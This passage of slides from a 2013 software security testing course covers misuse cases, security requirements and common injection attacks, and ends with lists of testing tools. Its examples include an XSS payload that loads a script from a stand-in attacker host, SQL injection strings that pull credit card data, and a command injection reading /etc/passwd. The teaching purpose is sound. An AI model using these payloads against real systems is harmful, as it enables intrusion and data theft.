  • 27. 25© Copyright 2013 Coveros, Inc.. All rights reserved. SecureChat Use Cases (High Level) Example of Use Cases Authenticate Users Chat with Friends Update Friend List View Logged Chat Sessions Register as a User SecureChat User Administrator Edit User Profile Reset Passwords Create/Delete Accounts
  • 28. 26© Copyright 2013 Coveros, Inc.. All rights reserved.  Scenario – SecureChat User authenticates with user and password – User chooses friend from Friend List that is on-line – User corresponds with friend (back and forth) – User logs off  Misuse / abuse case #1 for scenario – Secure User types in incorrect user id on authentication screen – System pops up “Invalid User” error box and returns user to authentication screen  Misuse/abuse case #2 for scenario – SecureChat User authenticates with user and password – User chooses friend from Friend List that is not on-line – System does not allow selection of off-line Friend Chat Use Case Example of Use Case
  • 29. 27© Copyright 2013 Coveros, Inc.. All rights reserved. Security Requirements  Break into same teams as before.  Analyze requirements for login process (on next slide) and: – Modify existing requirements to make them more secure – Add additional requirements that are missing – Think about system misuses to make sure you have thought through everything  Create one test case for each requirement you finalize  Exercise Time Limit: 15 Minutes Exercise #2 – Defining Security Requirements
  • 30. 28© Copyright 2013 Coveros, Inc.. All rights reserved.  SecureChat Authentication Requirements – When a user attempts to authenticate with a valid username and an invalid password, the application shall not authenticate the user and return them to the authentication page. – The system must alert the user that their attempt to authenticate has failed due to an incorrect password (“Invalid Password”) utilizing the standard error text formatting. – When a user attempts to authenticate with a invalid username, the application shall not authenticate the user and return them to the authentication page. – The system must alert the user that their attempt to authenticate has failed due to an incorrect username (“Invalid Username”) utilizing the standard error text formatting. – What a user attempts to authenticate using a username and a valid password, the application shall authenticate the user and redirect them to the homepage. Functional Security Requirement Examples Exercise
  • 31. 29© Copyright 2013 Coveros, Inc.. All rights reserved. Secure Authentication Requirements Sample Tests Exercise Results
  • 32. 30© Copyright 2013 Coveros, Inc.. All rights reserved. Security Requirements Definition of Non-Functional Requirements  Non-Functional Requirements: End-to-end constraints on the services or functions offered by the system.  Availability, Reliability, Performance, Scalability, Testability, Security Where does Security fit in?  Specific aspects of availability and reliability affect the security of your systems  Application must comply with security regulations and standards (HIPAA, GLB, PCI)
  • 33. 31© Copyright 2013 Coveros, Inc.. All rights reserved. Non-Functional Requirements Example Non-functional Security Requirements  Confidential data will not be accessible by users other than through the SecureChat client  SecureChat shall have an availability of 99.9% at all times  All communication with the Securechat central server must be encrypted using 128-bit encryption  SecureChat shall process a minimum of 8 transactions per second.  All SecureChat code shall be reviewed against our internal coding standards prior to release
  • 34. 32© Copyright 2013 Coveros, Inc.. All rights reserved. Security Test Planning  Functional security tests based upon the functional security requirements should be planned, designed, and executed along with the rest of the functional testing – Typically covered by a combination of unit, feature, and integration testing activities – Don’t forget integration … COTS security features are often integrated incorrectly  Non-functional security tests should be planned, designed, and executed as followed: – Unit level: secure code scanning to identify vulnerabilities – Feature level: web application security testing plus any specific non- functional security requirements that can be performed at this level – Integration/System levels: more of the above based upon threats & risks – System level: end-to-end testing and penetration testing that must be done a production-like environment What goes where
  • 35. 33© Copyright 2013 Coveros, Inc.. All rights reserved. Testing to Mitigate Common Attacks
  • 36. 34© Copyright 2013 Coveros, Inc.. All rights reserved. Input Validation  Most common application security weakness: failure to properly validate input – From client – From environment (often overlooked)  Leads to many of the major vulnerabilities found in applications – Interpreter injection (SQL, JavaScript, XML, Command, …) – Locale/Unicode attacks – File system attacks – Buffer overflows  Data from a client application or a user should never be trusted as they are susceptible to injection attacks Common Attacks
  • 37. 35© Copyright 2013 Coveros, Inc.. All rights reserved.  Injection attacks result when input from a user is interpreted by a command processor or formed to manipulate the program stack/heap – These are, by far, the most rampant category of attacks over the past 20 years What are Injection Attacks? Common Attacks <body><p> <? $msg = “Hi, “ + $name + “.”; echo $msg ?> </p></body> <body><p> Hi, Joe. </p></body> $name = Joe <body><p> Hi, <script src=“http://www.bad.com/attack.js”/>. </p></body> $name = <script src=“http://bad.com/attack.js”/>
  • 38. 36© Copyright 2013 Coveros, Inc.. All rights reserved. Input Validation Approaches  Accept Known Good – Check the data is one of a set of tightly constrained known good values – “Whitelist” validation – Only works when set of good values is small or previously identified  Reject Known Bad – Reject strings that contain potentially unacceptable characters (ex. If you’re not expecting JavaScript, reject %3f) – “Blacklist” validation – A dangerous strategy because the possible set of bad data is infinite; causes constant maintenance of blacklist  Sanitize – Rather than accept or reject, change the input into an acceptable format – Sound software engineering practice Validating Input
  • 39. 37© Copyright 2013 Coveros, Inc.. All rights reserved.  A very common vulnerability  Allows an attacker to inject script into a vulnerable web system that attacks the user Cross-Site Scripting (XSS) Common Input Attack #1 Type your name: Joe http://myweb.com/index.php Hi, Joe! http://myweb.com/index.php?name=Joe  What happens if we type our name as: <script>alert(“Joe Hacker!”)</script>  Reflective vs. Stored XSS
  • 40. 38© Copyright 2013 Coveros, Inc.. All rights reserved. Testing for Reflected Cross-Site Scripting  Identify existing scripting engines in your software  Craft input to trigger visible HTML output you can validate – <h1>Jeff</h1> to try and highlight text – <script>alert(“Hi”)</script> to try and pop up alert box Cross Site Scripting Stored Cross-Site Scripting  Identify existing scripting engines in your software  Craft input to trigger visible output that is stored in an internal database (same tests as above)  Perform second input to see if script was stored and executed Check that ALL scripting engines cannot execute input!
  • 41. 39© Copyright 2013 Coveros, Inc.. All rights reserved. SQL Injection  What is SQL Injection? – An SQL injection attack consists of the insertion or “injection” of an SQL query via input data from the client to the application. A successful exploit could read sensitive data, modify data, execute administrative operations, recover the content to a given file and, in some cases, issue commands to the operating system.  Types of SQL Injection – Inband – Data is extracted using the same channel that is used to inject SQL code. In the simplest form, the retrieved data is presented directly to the application web page. – Out-of-band – Data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester). – Inferential – Data is not transferred, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server. Common Input Attack #2
  • 42. 40© Copyright 2013 Coveros, Inc.. All rights reserved. SQL Injection Example  Consider the following SQL query: – SELECT * FROM Users WHERE Username='$username' AND Password='$password'  Assume the values of the input fields are obtained from the user through a web form. Suppose we insert the following Username and Password values: – $username = 1' or '1' = '1 – $password = 1' or '1' = '1  The query will be: – SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' Common Attack #2: SQL Injection
  • 43. 41© Copyright 2013 Coveros, Inc.. All rights reserved. SQL Injection Example (cont.)  Another test involves the use of the UNION operator. We suppose for our examples that the query executed from the server is the following: – SELECT Name, Phone, Address FROM Users WHERE Id=$id  We will set the following Id value: – $id = 1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable  NOTE: we have selected other two values. These two values are necessary, in order to avoid a syntax error.  We will have the following query: – SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable  The keyword ALL can be used to get around the DISTINCT keyword. SQL Injection
  • 44. 42© Copyright 2013 Coveros, Inc.. All rights reserved. Testing for SQL Injection (cont.)  Where to look for SQL Injection – Authentication forms: Chances are high that the user credentials are checked against a database that contains all usernames and passwords (or their password hashes) – Search Engines: Strings submitted could be used in a query that extracts relevant records from a database. – E-Commerce Sites: Products and their characteristics are very likely to be stored in a database. – Use your inherent knowledge of your application to pinpoint your testing efforts. SQL Injection
  • 45. 43© Copyright 2013 Coveros, Inc.. All rights reserved. Command Injection  Command injection attacks occur when inputs are allowed to execute operating system shell commands and inputs is not properly controlled.  Most dangerous when valid inputs execute as administrator / root  Example – Ping 127.0.0.1 returns ping information and is a valid input – cat /etc/passwd returns the contents of the password file and is disallowed – Ping 127.0.0.1;cat /etc/passwd may trick the program into giving up the password by not noticing that multiple commands are being input Input Attack #3
  • 46. 44© Copyright 2013 Coveros, Inc.. All rights reserved.  Testing for all cases of injection attacks can be laborious  There are lots of tools out there to help  Leverage tools but also make sure validation code is correct  Understand architecture to test unique components that include scripting / executable capabilities Use Tools! Common Attacks
  • 47. 45© Copyright 2013 Coveros, Inc.. All rights reserved. Integrating Security into Your Testing Process
  • 48. 46© Copyright 2013 Coveros, Inc.. All rights reserved. How do you add Security in? Software Development Life Cycle Define Use/Abuse cases Security requirements Assess threats and assets Design Threat modeling Security test planning Develop Deploy Static Analysis Risk-based security testing Penetration testing
  • 49. 47© Copyright 2013 Coveros, Inc.. All rights reserved. Classes of Tools  Risk-based security testing tools – Proactive web app scanners – Proxies – Fuzzers  Secure code scanning tools  Threat modeling (planning tool)  Network scanning tools  Password Crackers Tools to Support Security Testing
  • 50. 48© Copyright 2013 Coveros, Inc.. All rights reserved. Web Application Scanners and Proxies  Where to use? – Looking for XSS, Injection and input validation vulnerabilities; some tools will attempt to actively exploit vulnerabilities.  Free Tools – Zed Attack Proxy – Nikto – W3af – Paros – Skipfish – Wapiti – wfuzz  Paid Tools – Netsparker – WebSecurify – Big Commercial: IBM AppScan, Cenzic Hailstorm, HP WebInspect Tools to Support Security Testing
  • 51. 49© Copyright 2013 Coveros, Inc.. All rights reserved. Password Crackers & Brute Force Tools  Where to use? – When you want to break the default credentials or test your authentication mechanisms against common security tools.  Free Tools – THC Hydra – Cain and Abel – Wfuzz  Paid Tools – John the Ripper Tools to Support Security Testing
  • 52. 50© Copyright 2013 Coveros, Inc.. All rights reserved. Network Security Tools  Where to use? – Scanning for mis-configurations – Testing for OS, application and network vulnerabilities  Free Tools – OpenVAS  Paid Tools – Nessus – Core Impact Tools to Support Security Testing
  • 53. 51© Copyright 2013 Coveros, Inc.. All rights reserved. Wrap-Up
  • 54. 52© Copyright 2013 Coveros, Inc.. All rights reserved.  OWASP Foundation, “OWASP Testing Guide v3”, https://www.owasp.org/index.php/OWASP_Testing_Project, 2008  Hope and Walther, “Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast,” O’Reilly, 2008  Whittaker and Thompson, “How to Break Software Security,” Addison-Wesley, 2003  Schneier, Bruce, “Secrets and Lies: Digital Security in a Networked World,” Wiley, 2000 References
  • 55. 53© Copyright 2013 Coveros, Inc.. All rights reserved. Questions? Contact Information: http://www.coveros.com [email protected] 703.431.2920